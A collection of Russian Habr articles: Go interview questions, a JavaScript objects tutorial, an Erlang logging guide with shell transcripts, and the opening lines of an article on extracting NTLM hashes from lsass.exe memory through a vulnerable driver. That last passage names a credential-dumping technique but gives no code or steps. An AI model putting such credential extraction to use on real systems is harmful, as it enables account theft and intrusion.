time.Sleep(1 * time.Second)
}
func work(ctx context.Context, numChan chan int) {
for {
select {
case <-ctx.Done():
fmt.Println("stop")
return
case num := <-numChan:
fmt.Println(num)
}
}
}
```
Вывод (может отличаться по количеству num)
```
0
stop
```
### Память в Golang
***"Как реализовано хранилище памяти в Go?"***
ОтветХранилища памяти в Go реализованы с помощью двух подходов:
* хранение в `stack`;
* хранение в `heap`. `stack` в основном используется для хранения локальных переменных, аргументов функции. Из плюсов - `stack` достаточно легко очищается. Из минусов - при аллокациях на `stack` существуют копии одних и тех же значений, которые надо хранить и обрабатывать. `heap` в основном используется для хранения глобальный переменных и ссылочных типов. Из плюсов - при аллокациях на `heap` существует всегда одно уникальное значение, которое надо хранить и обрабатывать. Из минусов - `heap` тяжело очищается, так как приходится запускать сборщик мусора, который имеет много накладных расходов и останавливает приложение.
***"Что обозначает \* и &?"***
Ответ`&` - это адрес блока памяти. То есть `&myVar` - это адрес того места в памяти, где хранятся данные переменной `myVar`. Тогда как `*` можно использовать в двух вариантах:
* чтобы объявить тип-указатель `var pointVar *int`. В данном случае указатель на `int`;
* чтобы получить значение по адресу `*pointVar`. Обратный предыдущему процесс, и здесь мы получим значение по адресу `pointVar`.
```
func main() {
myVar := "something"
var pointVar = &myVar
fmt.Println(myVar)
fmt.Println(&myVar)
fmt.Println(pointVar)
fmt.Println(*pointVar)
}
```
Вывод
```
something
0xc000096230
0xc000096230
something
```
***"Как происходит передача параметров в функцию?"***
ОтветПараметры в Go всегда передаются по значению. Это значит, что всякий раз, когда мы передаем аргумент в функцию, функция получает копию первоначального значения. Чтобы работать именно с той же самой переменной, не копируя ее, необходимо использовать адрес этой переменной. При этом сам указатель будет скопирован.
```
func main() {
str := "someString"
fmt.Println("first val:", str)
dontCahngeStr(str)
fmt.Println("after dontCahngeStr val:", str)
fmt.Println("val addr in main:", &str)
cahngeStr(&str)
fmt.Println("after cahngeStr val:", str)
fmt.Println("val addr in main:", &str)
}
func dontCahngeStr(str string) {
str = "nextStr"
}
func cahngeStr(str *string) {
fmt.Println("addr addr in cahngeStr:", &str)
*str = "nextStr"
}
```
Вывод
```
first val: someString
after dontCahngeStr val: someString
val addr in main: 0xc000010070
addr addr in cahngeStr: 0xc00000e030
after cahngeStr val: nextStr
val addr in main: 0xc000010070
```
***"Есть ли особенности поведения при передаче map и slice в функцию?"***
ОтветПередача `slice` и `map` может заставить усомниться в том, что они передаются в функцию по значению. Однако здесь так же происходит копирование. Структуры `slice` и `map` (уточнение: в случае `map` копируется не сама структура, а указатель структуру `hmap`, подробнее о том, что такое `hmap` можно прочитать в первой статье) копируются, однако в самих структурах содержатся ссылки на области памяти, благодаря которым создается эффект передачи по ссылке.
```
func main() {
slice := []int{1, 2, 3, 4, 5}
fmt.Println(slice)
fmt.Printf("%p\n", &slice)
changeZeroElem(slice)
fmt.Println(slice)
}
func changeZeroElem(slice []int) {
fmt.Printf("%p\n", &slice)
slice[0] = 99
}
```
Вывод
```
[1 2 3 4 5]
0xc0000ac018
0xc0000ac048
[99 2 3 4 5]
```
```
func main() {
store := map[string]int{"first": 1, "second": 2}
fmt.Println(store)
fmt.Printf("%p\n", &store)
changeMapElem(store)
fmt.Println(store)
}
func changeMapElem(store map[string]int) {
fmt.Printf("%p\n", &store)
store["first"] = 99
}
```
Вывод
```
map[first:1 second:2]
0xc0000b2018
0xc0000b2028
map[first:99 second:2]
```
***"Как функции делятся памятью?"***
ОтветВ начале следует сказать про фрейм. Фрейм можно представить как отдельное пространство памяти для конкретной функции. Функция может работать с памятью в своем фрейме, однако не может работать с памятью фреймов других функций. Когда из одной функции мы вызываем другую функцию, происходит переход фреймов. Чтобы использовать какие-то данные предыдущего фрейма в следующем их можно передать по значению. Если необходимо работать не с копией, а именно переменной другого фрейма, необходимо использовать переменные-указатели, которые обеспечивают доступ до переменных других фреймов.
***"Можно ли явно аллоцировать переменную в стэке или куче?"***
ОтветСпособа явно сказать компилятору Go, где аллоцировать переменную, в куче или в стеке не существует. Но это можно сделать косвенно - стилем написания кода. Решающую роль здесь играет, то, как значение будет использоваться в программе.
### Сборщик мусора в Golang
***"Что такое сборщик мусора и по какому алгоритму он реализован в Go?"***
ОтветЛюбую аллоцированную память необходимо очищать после окончания ее использования. В некоторых языках программирования разработчик сам должен управлять этим процессом. В Go неиспользуемые объекты находит и удаляет сборщик мусора. Сборщик мусора - устроен по алгоритму `Mark and Sweep` (реализация может поменяться, необходимо просматривать изменения).
***"Расскажите про алгоритм mark and sweep"***
ОтветАлгоритм `Mark and Sweep` состоит из двух частей:
1. `Mark` разметка;
2. `Sweep` очистка памяти. Сама стадия `Mark` реализована с помощью 3 цветного алгоритма. Для наглядности представим, что все наши данные лежат в виде графа, все узлы графа помечаем белым цветом. Алгоритм:
* идет сканирование объектов первого уровня доступа, тех которые хранятся либо глобально, либо в стэке потока;
* объекты первого уровня помечаются серым цветом;
* в каждом сером объекте ищутся ссылки на области памяти;
* объекты по ссылкам помечаются серым;
* сам родительский элемент помечается черным;
* процесс повторяется, пока не останется серых объектов (белые объекты будем удалять на следующем шаге).
Прежде чем переходить к самому алгоритму необходимо разобрать два понятия `stop the world` и `write barrier.`
`write barrier` - в рамках этой статьи мы будем рассматривать его как некий черный ящик. Основная его цель - контролировать, чтобы сборщик мусора правильно выстраивал и обрабатывал "граф" данных, так как объекты могут перемещаться и иже.
Упрощенный алгоритм сборщика мусора (на момент работы программы, то есть сборщик мусора уже отработал один или больше циклов):
* завершение цикла очистки `Sweep`, на этом этапе вызывается `stop the world`, ожидается пока все горутины достигнут точки безопасности, завершается очистка ресурсов;
* начало цикла `Mark`, на этом этапе включается `write barrier`, `start the world`, сканируются глобальные переменные, выполняется трехцветный алгоритм;
* завершение цикла `Mark`, на этом этапе вызывается `stop the world`, после выполнения задач очищаются кэши, завершается разметка;
* начало цикла очистки `Sweep`, на этом этапе выключается `write barrier`, `start the world`, дальнейшая очистка ресурсов происходит в фоне.
***"Когда запускается сборщик мусора?"***
ОтветПо умолчанию сборщик мусора запускается в тот момент, когда `heap` увеличился вдвое. Этот параметр также можно настроить с помощью переменной среды окружения `GOGC`. Вручную сборщик мусора можно запустить с помощью `runtime.GC().`
***"Каковы ресурсы, которые потребляет сборщик мусора?"***
ОтветСборщик мусора потребляет до 25% CPU для фазы `Mark`. Помимо этого за цикл работы сборщика мусора два раза происходит остановка приложения (вызов `stop the world`).
### Заключение
Далеко не все аспекты, которые можно спросить на собеседовании удалось осветить в формате статьи. Также Go развивающийся язык и определенная информация может устаревать от версии к версии. По этим причинам, при подготовке в интервью, призываю вас не останавливаться только на изложенных здесь вопросах и ответах, изучайте свой инструмент, это окупится!
Буду признателен любым конструктивным замечаниям. Спасибо!
Спасибо за конструктивные замечания к статье как до, так и после ее выкладки: [@user862](/users/user862), [@JimTheBeam](/users/jimthebeam), [@illiafox](/users/illiafox), [@hyonosake](/users/hyonosake). | https://habr.com/ru/post/670974/ | null | ru | null |
# Разбираемся с объектами в JavaScript
*В этом материале автор — фронтенд-разработчик — сделал обзор основных способов создания, изменения и сравнения объектов JavaScript.*
Объекты — одно из основных понятий в JavaScript. Когда я только приступил к их изучению, они показались мне довольно простыми: всего лишь пары ключей и значений, как и описывалось в теории.
Лишь спустя некоторое время я начал понимать, что тема гораздо сложнее, чем я полагал. И тогда я стал изучать информацию из разных источников. Некоторые из них давали хорошее представление о предмете, но увидеть всю картину целиком я смог не сразу.
В этом посте я попытался охватить все аспекты работы с объектами в JS, не вдаваясь слишком глубоко в отдельные подробности, но и не упуская важные детали, которые помогут вам понять предмет и почувствовать себя увереннее во время его дальнейшего изучения.
Итак, давайте начнем с основ.
### Объект
**Объект в JavaScript — это просто набор свойств, каждое из которые представляет собой пару ключ-значение.** Обратиться к ключам можно с помощью точечного (*obj.a*) или скобочного обозначения (*obj['a']*).
Помните, что скобки следует использовать, если ключ:
* не является допустимым JavaScript-идентификатором (в нем есть пробел, тире, начинается с цифры...)
* является переменной.
Одно из свойств, которое объекты в JS получают при создании, называется *Prototype*, и это очень важное понятие.
### Прототип
У каждого объекта в JavaScript есть внутреннее свойство под названием *Prototype*. В большинстве браузеров вы можете обратиться к нему по обозначению *\_\_proto\_\_*.
*Prototype* — это способ обеспечить наследование свойств в JavaScript. Так можно делится функциональностью без дублирования кода в памяти. Способ работает за счет создания связи между двумя объектами.
Проще говоря, Prototype создает указатель с одного объекта на другой.
**Цепочка прототипов**
Каждый раз, когда JS ищет свойство в объекте и не находит его непосредственно у самого объекта, он проверяет наличие свойства в объекте-прототипе. Если свойства нет и в нем, то JS продолжит поиск в прототипе связанного объекта. Так будет продолжаться до тех пор, пока JS не найдет подходящее свойство или не достигнет конца цепочки.
Давайте рассмотрим пример:
```
var cons = function () {
this.a = 1;
this.b = 2;
}
var obj = new cons();
cons.prototype.b = 3;
cons.prototype.c = 4;
```
*cons* — это конструктор (просто функция, которую можно вызывать с помощью оператора *new*).
На пятой строке мы создаем новый объект — новую копию *cons*. Сразу после создания *obj* также получает свойство прототипа.
А теперь мы добавляем свойства (*'b', 'c'*) прототипу объекта *cons*.
Рассмотрим *obj*:
**obj.a // 1** — здесь все по-старому, *obj.a* по-прежнему равен 1.
**obj.c** — у *obj* нет свойства *c*! Однако, как ранее упоминалось, JS теперь поищет его в прототипе *obj* и вернет значение 4.
А теперь давайте подумаем, каково значение *obj.b* и каким оно станет, когда мы удалим *obj.b*?
*Obj.b* равен 2. Мы назначили свойство *b*, но мы сделали это для прототипа *cons*, поэтому когда мы проверяем *obj.b*, то по-прежнему получаем 2. Однако сразу после удаления *obj.b* JS уже не сможет найти *b* у o*bj*, и потому продолжит поиск в прототипе и вернет значение 3.
Далее я хочу коротко рассказать о различных способах создания объекта и немного больше о прототипах.
### Создание объекта
**Литерал объекта:** *let obj = {a: 1};*
Мы создали объект со следующей цепочкой прототипов: *obj ---> Object.prototype ---> null*
Как вы можете догадаться, *object.prototype* — это прототип объекта, а также конец цепочки прототипов.
**Object.create():** *var newObj = Object.create(obj);*
У *newObj* будет следующая цепочка прототипов: *newObj ---> obj ---> Object.prototype ---> null*
**Конструктор.** Как и в приведенном выше примере, конструктор — это просто JS-функция, позволяющая нам воспользоваться оператором *new* для создания новых ее экземпляров.
**ES6 классы:**
```
class rectangle {
constructor(height, width) {
this.height = height;
this.width = width;
}
getArea() {
return this.height * this.width;
}
}
let square = new rectangle(2, 2);
```
*Square* — экземпляр конструктора *rectangle*, и поэтому мы можем вызвать *square.getArea() //4*, *square.width*, а также все функции, унаследованные от *object.prototype*.
Какой из способов лучше? Если вы планируете создать несколько экземпляров, можно воспользоваться ES6 или конструктором. Если же вы планируете создать объект один раз, то лучше задать литерал, поскольку это самый простой способ.
И теперь, когда мы узнали о *prototype* и познакомились со всеми способами создания новых объектов, мы можем перейти к обсуждению одного из самых запутанных моментов, связанных с объектами.
### Сравнение и изменение объектов
**В JavaScript объекты относятся к ссылочному типу**
Когда мы создаем объект *let obj = {a: 1};*, переменная *obj* получает адрес в памяти объекта, но не его значение! Крайне важно понимать эту разницу, поскольку в противном случае могут возникнуть ошибки. Когда мы создаем другой объект *let newObj = obj*, мы фактически создаем **указатель** на некую область памяти *obj*, а не абсолютно новый объект.
Это значит, что выполняя *newObj.a = 2*, мы фактически изменяем *obj* таким образом, что *obj.a* становится равен 2!
Такой подход легко приводит к появлению багов, поэтому многие компании работают с неизменяемыми объектами. Вместо изменения уже созданного объекта вам придется опять создавать новый объект (копию оригинала) и вносить изменения уже в нем. Именно так работают важные библиотеки вроде Redux, и в целом это одна из основных концепций функционального программирования. Подробнее можно почитать [здесь](https://facebook.github.io/immutable-js/).
**Равенство**
Из сказанного выше также вытекает, что два объекта никогда не могут быть равными, даже если они обладают одинаковыми свойствами. Это связано с тем, что JS по факту сравнивает расположение в памяти объектов, а два объекта никогда не находятся в одной ячейке памяти.
```
// Two distinct objects with the same properties are not equal
var fruit = {name: 'apple'};
var fruitbear = {name: 'apple'};
fruit === fruitbear; // return false
// here fruit and fruitbear are pointing to same object
var fruit = {name: 'apple'};
var fruitbear = fruit;
fruit === fruitbear; // return true
```
Итак, вы скорее всего уже задались вопросом, как можно сравнить объекты или как производить с объектами различные манипуляции, учитывая требование к их неизменности.
Рассмотрим несколько возможностей.
**Изменение объекта**
Допустим, ясно, что по-хорошему нам не следует изменять объекты, поэтому мы хотим создать копию соответствующего объекта и изменить ее свойства. На помощь приходит *Object.assign()*.
```
var obj = { a : 1, b : 2};
var newObj = Object.assign({}, obj,{a:2}) // {a : 2, b : 2 }
```
Если мы захотим изменить значение свойства *a* объекта *obj*, можно воспользоваться *object.assign* для создания копии *obj* и ее изменения.
В примере видно, что мы сначала создаем пустой объект, затем копируем значения *obj* и вносим наши изменения, в конечном счете получая новый и готовый к использованию объект.
Пожалуйста, обратите внимание, что этот способ не сработает для глубокого копирования. Говоря о глубоком копировании, мы имеем в виду, что нужно скопировать объект с одним или несколькими свойствами.
```
const obj = {a : 1, b : { a : 1 } }; // b property is an object
```
*Object.assign()* копирует свойства объекта, поэтому если значение свойства — это указатель на объект, то копируется только указатель.
Для глубокого копирования необходима рекурсивная операция. Здесь можно написать функцию или просто воспользоваться методом [*\_.cloneDeep*](https://lodash.com/docs/4.17.10#cloneDeep) из библиотеки [Lodash](https://lodash.com/).
**Сравнение объектов**
Есть один классный прием работы с объектами — строчное преобразование. В следующем примере мы преобразовываем оба объекта в строки и сравниваем их:
```
JSON.stringify(obj1) === JSON.stringify(obj2)
```
Такой подход оправдан, поскольку в итоге мы сравниваем строки, представляющие собой указатель на тип-значение. Плохая новость — он не всегда срабатывает, главным образом потому, что тот или иной порядок свойств объекта не гарантируется.
Другое хорошее решение — воспользоваться методом *\_.isEqual* из [Lodash](https://lodash.com/), выполняющим глубокое сравнение объектов.
И перед тем, как закончить, давайте пробежимся по некоторым часто возникающим вопросам на тему объектов. Это поможет глубже погрузиться в тему и применить полученные знания на практике.
Постарайтесь подумать над решением самостоятельно перед тем, как прочитать ответ.
### Как узнать длину объекта?
Для получения ответа необходимо перебрать все свойства объекта одно за другим и посчитать их. Существует несколько способов выполнить подобную итерацию:
* *for in*. Этот метод охватывает все счетные свойства объекта и цепочки его прототипов. Мы познакомились с прототипом (и, надеюсь, усвоили материал), поэтому должно быть ясно, что применение *for in* не всегда будет верным для получения свойств объекта.
* *Object.keys*. Этот способ возвращает массив с ключами всех **собственных** (принадлежащих указанному объекту) **счетных** свойств. Такой подход лучше, поскольку мы работаем только над свойствами объекта, не обращаясь к свойствам *prototype*. Бывают, однако, ситуации, когда вы присвоили атрибуту *enumerable* некоторого свойства значение false, и *object.keys* в итоге пропускает его, а вы получаете некорректный результат. Такое происходит редко, но в подобных случаях очень кстати придется *getOwnPropertyNames*.
* *getOwnPropertyNames* возвращает массив, содержащий все **собственные** ключи объекта (как счетные, так и несчетные).
Также следует упомянуть:
* *Object.values* перебирает собственные счетные свойства и возвращает массив с соответствующими **значениями**.
* *Object.entries* перебирает собственные счетные свойства и возвращает массив **с ключами и их значениями**.
Думаю, вы заметили, что большинство из перечисленных выше методов возвращают массив. Это возможность воспользоваться всеми преимуществами методов JavaScript для работы с массивами.
Один из таких методов — *array.length*. В итоге мы можем просто написать
```
let objLength = Object.getOwnPropertyNames(obj).length;
```
### Как проверить, пуст ли объект?
1. *JSON.stringify(myObj) === “{}”* . Здесь мы снова используем инструмент строкового преобразования, позволяющий легко проверить, пуст ли объект (сравнивая строки, а не объекты).
2. *!Object.keys(myobj).length // true* . Как я упоминал, конвертирование ключей объекта в массив может быть очень полезным. Здесь мы пользуемся удобным свойством *length*, унаследованным от *Array.prototype*, проверяя с его помощью длину ключей в массиве. В JS *0* превращается в false, поэтому добавляя *!* мы превращаем его в true. Любые другие числа будут превращаться в false.
### В заключение
Надеюсь, теперь вы чувствуете себя увереннее в создании объектов и работе с ними. Давайте подытожим:
* Помните, что объекты относятся к ссылочному типу, а значит, с ними рекомендуется работать без изменения оригинальных объектов.
* Подружитесь со свойством *prototype* и цепочкой прототипов.
* Познакомьтесь с инструментами-помощниками в работе с объектами. Помните, что можно превращать объекты в строки, получать массив с их ключами или просто перебирать их свойства с помощью набора методов, с которым мы познакомились.
Желаю удачи в изучении объектов JavaScript.
[](https://wirexapp.com/ru/) | https://habr.com/ru/post/419193/ | null | ru | null |
# Logging. «Из коробки»
Ведение логов применяется в каждом программном продукте, дожившем до стадии продакшена. Erlang предоставляет программистам целую экосистему, которая включает и механизмы слежения за приложением. В этой части я рассмотрю именно функционал «из коробки».
#### 0. Как это работает
Как и другие встроенные утилиты, логгирование построено по принципах OTP.
Erlang error logger – это менеджер эвентов (gen\_event (3)), зарегистрированный как error\_logger. События error, warning и info посылаются от Erlang RTS и различных приложений в error\_logger. По умолчанию, они выводятся в консоль.
Первоначально, error\_logger использует наиболее простой обработчик событий, который буферизует и печатает необработанные сообщения о событиях. Во время запуска приложение Kernel заменяет его своим обработчиком событий.
Рекомендуется в своих приложениях использовать error\_logger для получения универсальных отчетов. Пользователь может добавить свои собственные обработчики событий (add\_report\_handler/1,2).
#### 1. SASL
Каждый программист на Erlang знает, что такое SASL. Большинство туториалов написаны с его использованием. Мы непременно включаем SASL во время отладки приложений.
SASL выводит подробный отчет различных собитый, связанных с работой супервизоров и возникающих ошибках.
```
root@37221-1:~# erl -boot start_sasl
Erlang R13B03 (erts-5.7.4) [source] [rq:1] [async-threads:0] [hipe] [kernel-poll:false]
=PROGRESS REPORT==== 11-Mar-2011::19:34:39 ===
supervisor: {local,sasl_safe_sup}
started: [{pid,<0.35.0>},
{name,alarm_handler},
{mfa,{alarm_handler,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:34:39 ===
supervisor: {local,sasl_safe_sup}
started: [{pid,<0.36.0>},
{name,overload},
{mfa,{overload,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:34:39 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.34.0>},
{name,sasl_safe_sup},
{mfa,
{supervisor,start_link,
[{local,sasl_safe_sup},sasl,safe]}},
{restart_type,permanent},
{shutdown,infinity},
{child_type,supervisor}]
=PROGRESS REPORT==== 11-Mar-2011::19:34:39 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.37.0>},
{name,release_handler},
{mfa,{release_handler,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:34:39 ===
application: sasl
started_at: nonode@nohost
Eshell V5.7.4 (abort with ^G)
1> application:start(crypto).
=PROGRESS REPORT==== 11-Mar-2011::19:34:54 ===
supervisor: {local,crypto_sup}
started: [{pid,<0.49.0>},
{name,crypto_server},
{mfa,{crypto_server,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:34:54 ===
application: crypto
started_at: nonode@nohost
ok
2> rb:start().
{error,{"cannot locate report directory",
{child,undefined,rb_server,
{rb,start_link,[[]]},
temporary,brutal_kill,worker,
[rb]}}}
3>
=CRASH REPORT==== 11-Mar-2011::19:35:16 ===
crasher:
initial call: rb:init/1
pid: <0.51.0>
registered_name: []
exception exit: "cannot locate report directory"
in function gen_server:init_it/6
ancestors: [sasl_sup,<0.32.0>]
messages: []
links: [<0.33.0>]
dictionary: []
trap_exit: true
status: running
heap_size: 233
stack_size: 24
reductions: 109
neighbours:
```
SASL включает 3 обработчика событий (event handler):
* sasl\_report\_tty\_h — supervisor reports, crash reports и progress выводятся в консоль.
* sasl\_report\_file\_h — supervisor reports, crash report и progress выводятся в отдельный файл.
* error\_logger\_mf\_h — этот логгер обрабатывает все события. Он устанавливает обработчик событий log\_mf\_h (подробнее ниже) в error\_logger.
SASL поддерживает определенное конфигурирование, которое подробно описано в документации. Установка обработчика sasl\_report\_file\_h и sasl\_error\_logger = {file, FileName} позволит выводить информацию в отдельный лог-файл. Однако при рестарте приложения вся старая информация будет удалена (!).
#### 2. log\_mf\_h
log\_mf\_h — это gen\_event handler, который можно установить в любой gen\_event процесс. Он сохраняет на диск все события. Каждое событие сохраняется в бинарном формате. Приложение наподобие Report Browser (rb) может быть использовано для чтения этих логов.
log\_mf\_h:init/3,4 возвращают аргументы конфигурации для gen\_event:add\_handler(EventMgr, log\_mf\_h, Args). Их можно использовать в любом менеджере событий.
```
root@37221-1:/home/user# erl -boot start_sasl
Erlang R13B03 (erts-5.7.4) [source] [rq:1] [async-threads:0] [hipe] [kernel-poll:false]
=PROGRESS REPORT==== 11-Mar-2011::19:48:22 ===
supervisor: {local,sasl_safe_sup}
started: [{pid,<0.35.0>},
{name,alarm_handler},
{mfa,{alarm_handler,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:48:22 ===
supervisor: {local,sasl_safe_sup}
started: [{pid,<0.36.0>},
{name,overload},
{mfa,{overload,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:48:22 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.34.0>},
{name,sasl_safe_sup},
{mfa,
{supervisor,start_link,
[{local,sasl_safe_sup},sasl,safe]}},
{restart_type,permanent},
{shutdown,infinity},
{child_type,supervisor}]
=PROGRESS REPORT==== 11-Mar-2011::19:48:22 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.37.0>},
{name,release_handler},
{mfa,{release_handler,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:48:22 ===
application: sasl
started_at: nonode@nohost
Eshell V5.7.4 (abort with ^G)
1> Conf = log_mf_h:init(".", 1024, 10).
{".",1024,10,#Fun}
2> gen\_event:add\_handler(error\_logger, log\_mf\_h, Conf).
ok
3> F = fun(N) -> N() end.
#Fun
4> spawn(F).
=ERROR REPORT==== 11-Mar-2011::19:49:59 ===
Error in process <0.48.0> with exit value: {{badarity,{#Fun,[]}},[{erlang,apply,2}]}
<0.48.0>
5> application:start(crypto).
=PROGRESS REPORT==== 11-Mar-2011::19:50:29 ===
supervisor: {local,crypto\_sup}
started: [{pid,<0.54.0>},
{name,crypto\_server},
{mfa,{crypto\_server,start\_link,[]}},
{restart\_type,permanent},
{shutdown,2000},
{child\_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::19:50:29 ===
application: crypto
started\_at: nonode@nohost
ok
6> rb:start([{report\_dir, "."}]).
rb: reading report...done.
=PROGRESS REPORT==== 11-Mar-2011::19:50:53 ===
supervisor: {local,sasl\_sup}
started: [{pid,<0.56.0>},
{name,rb\_server},
{mfa,{rb,start\_link,[[{report\_dir,"."}]]}},
{restart\_type,temporary},
{shutdown,brutal\_kill},
{child\_type,worker}]
{ok,<0.56.0>}
7> rb:list().
No Type Process Date Time
== ==== ======= ==== ====
3 error <0.25.0> 2011-03-11 19:49:59
2 progress <0.51.0> 2011-03-11 19:50:29
1 progress <0.24.0> 2011-03-11 19:50:29
ok
8> rb:list(error).
No Type Process Date Time
== ==== ======= ==== ====
3 error <0.25.0> 2011-03-11 19:49:59
ok
9> rb:show(3).
ERROR REPORT emulator 2011-03-11 19:49:59
===============================================================================
Error in process <0.48.0> with exit value: {{badarity,{#Fun,[]}},[{erlang,apply,2}]}
ok
10> halt().
root@37221-1:/home/user# ls -1
1
2
index
mboga
root@37221-1:/home/user#
```
#### 3. SASL + log\_mf\_h
Как я выше писал, настройки SASL позволяют использовать log\_mf\_h для обработки событий. Для этого в конфигурации SASL нужно указать подобные параметры:
```
[{sasl, [
{sasl_error_logger, false},
{error_logger_mf_dir, "/home/user/mboga/log/log_mf_h"},
{error_logger_mf_maxbytes, 1024},
{error_logger_mf_maxfiles, 10}
]}].
```
Теперь все события будут записаны в указанную директорию. Пока ваше приложение работает, выможете зайти в другую оболочку и росмотреть (вывести отчеты в отдельный лог (в читаемом виде)) с помощью утилиты rb:
```
root@37221-1:~# ps aux | grep erlang
root 27943 0.0 0.1 1980 368 ? S Mar08 0:01 /usr/lib/erlang/erts-5.7.4/bin/epmd -daemon
root 31714 0.5 3.0 13912 8092 ? S 07:37 3:45 /usr/lib/erlang/erts-5.7.4/bin/beam -- -root /usr/lib/erlang -progname erl -- -home /root -- -noshell -pa ebin edit deps/erldis/ebin deps/mochiweb/ebin -boot logging -sname mboga_web_dev -s mboga_web -s reloader
root 31944 0.0 0.2 1888 700 pts/1 S+ 20:05 0:00 grep --color=auto erlang
root@37221-1:~# erl -boot start_sasl
Erlang R13B03 (erts-5.7.4) [source] [rq:1] [async-threads:0] [hipe] [kernel-poll:false]
=PROGRESS REPORT==== 11-Mar-2011::20:05:43 ===
supervisor: {local,sasl_safe_sup}
started: [{pid,<0.35.0>},
{name,alarm_handler},
{mfa,{alarm_handler,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::20:05:43 ===
supervisor: {local,sasl_safe_sup}
started: [{pid,<0.36.0>},
{name,overload},
{mfa,{overload,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::20:05:43 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.34.0>},
{name,sasl_safe_sup},
{mfa,
{supervisor,start_link,
[{local,sasl_safe_sup},sasl,safe]}},
{restart_type,permanent},
{shutdown,infinity},
{child_type,supervisor}]
=PROGRESS REPORT==== 11-Mar-2011::20:05:43 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.37.0>},
{name,release_handler},
{mfa,{release_handler,start_link,[]}},
{restart_type,permanent},
{shutdown,2000},
{child_type,worker}]
=PROGRESS REPORT==== 11-Mar-2011::20:05:43 ===
application: sasl
started_at: nonode@nohost
Eshell V5.7.4 (abort with ^G)
1> rb:start([{report_dir, "/home/user/mboga/log/log_mf_h"}]).
rb: reading report...done.
rb: reading report...done.
rb: reading report...done.
rb: reading report...done.
rb: reading report...done.
rb: reading report...done.
=PROGRESS REPORT==== 11-Mar-2011::20:07:02 ===
supervisor: {local,sasl_sup}
started: [{pid,<0.47.0>},
{name,rb_server},
{mfa,
{rb,start_link,
[[{report_dir,
"/home/user/mboga/log/log_mf_h"}]]}},
{restart_type,temporary},
{shutdown,brutal_kill},
{child_type,worker}]
{ok,<0.47.0>}
2> rb:start_log("/home/user/mboga/log/rb.log").
ok
3> rb:list().
No Type Process Date Time
== ==== ======= ==== ====
...
29 progress <6800.8.0> 2011-03-10 23:00:44
28 error_report <6800.50.0> 2011-03-10 23:01:10
27 error_report <6800.50.0> 2011-03-10 23:01:10
26 error_report <6800.50.0> 2011-03-10 23:01:11
25 progress <6800.34.0> 2011-03-10 23:02:52
24 progress <6800.34.0> 2011-03-10 23:02:52
...
4 progress <6800.50.0> 2011-03-11 07:37:50
3 progress <6800.29.0> 2011-03-11 07:37:50
2 progress <6800.8.0> 2011-03-11 07:37:50
1 crash_report mochiweb_acceptor 2011-03-11 10:08:03
ok
4> rb:list(crash_report).
No Type Process Date Time
== ==== ======= ==== ====
48 crash_report mochiweb_acceptor 2011-03-10 15:29:26
44 crash_report supervisor_bridge 2011-03-10 22:46:40
41 crash_report reloader 2011-03-10 22:55:04
1 crash_report mochiweb_acceptor 2011-03-11 10:08:03
ok
5> rb:show(1).
ok
6> rb:list(error_report).
No Type Process Date Time
== ==== ======= ==== ====
47 error_report <6800.50.0> 2011-03-10 22:46:40
28 error_report <6800.50.0> 2011-03-10 23:01:10
27 error_report <6800.50.0> 2011-03-10 23:01:10
26 error_report <6800.50.0> 2011-03-10 23:01:11
ok
7> rb:show(27).
ok
8> rb:stop().
ok
```
```
root@37221-1:~# cat /home/user/mboga/log/rb.log
CRASH REPORT <6768.60.0> 2011-03-11 10:08:03
===============================================================================
Crashing process
initial_call
{mochiweb_acceptor,init,['Argument__1','Argument__2','Argument__3']}
pid <6768.60.0>
registered_name []
error_info
{error,function_clause,
[{mochiweb,new_request,
[{#Port<6768.1465>,
{"CONNECT",{scheme,"www.google.com","443"},{1,0}},
[]}]},
{mochiweb_http,headers,5},
{proc_lib,init_p_do_apply,3}]}
ancestors [mboga_web_web,mboga_web_sup,<6768.51.0>]
messages []
links [<6768.56.0>,#Port<6768.1465>]
dictionary []
trap_exit false
status running
heap_size 2584
stack_size 24
reductions 59064
ERROR REPORT <6768.75.0> 2011-03-10 23:01:10
===============================================================================
"web request failed"
path upload/
type exit
what could_not_open_file_for_writing
trace
[{mboga_web_web,callback,2},
{mochiweb_multipart,feed_mp,2},
{mboga_web_web,upload,2},
{mboga_web_web,loop,3},
{mochiweb_http,headers,5},
{proc_lib,init_p_do_apply,3}]
root@37221-1:~#
```
#### 4. ...
Здесь описаны инструменты, которые облегчают разработку приложения, и позволяют вести логгирование несложных систем. Для крупных проектов существует ряд сторонних приложений, которые используют преимущества Eralng (например, распределенность или веб-интерфейс), так и предоставляют привычный функционал других платформ (например, log level). Но об этом в следующий раз. | https://habr.com/ru/post/115209/ | null | ru | null |
# Извлечение NTLM hash пользователя из процесса lsass.exe с помощью уязвимого драйвера
Приветствую вас, дорогие читатели! Сегодня я хочу рассказать о том, как с помощью уязвимого драйвера получить NTLM hash пользователя. NTLM hash находится в памяти процесса lsass.exe операционной системы Windows. Процесс lsass.exe отвечает за авторизацию локального пользователя компьютера.
По этой теме я нашел несколько статей:
1. [A physical graffiti of LSASS: getting credentials from physical memory for fun and learning.](https://adepts.of0x.cc/physical-graffiti-lsass/)
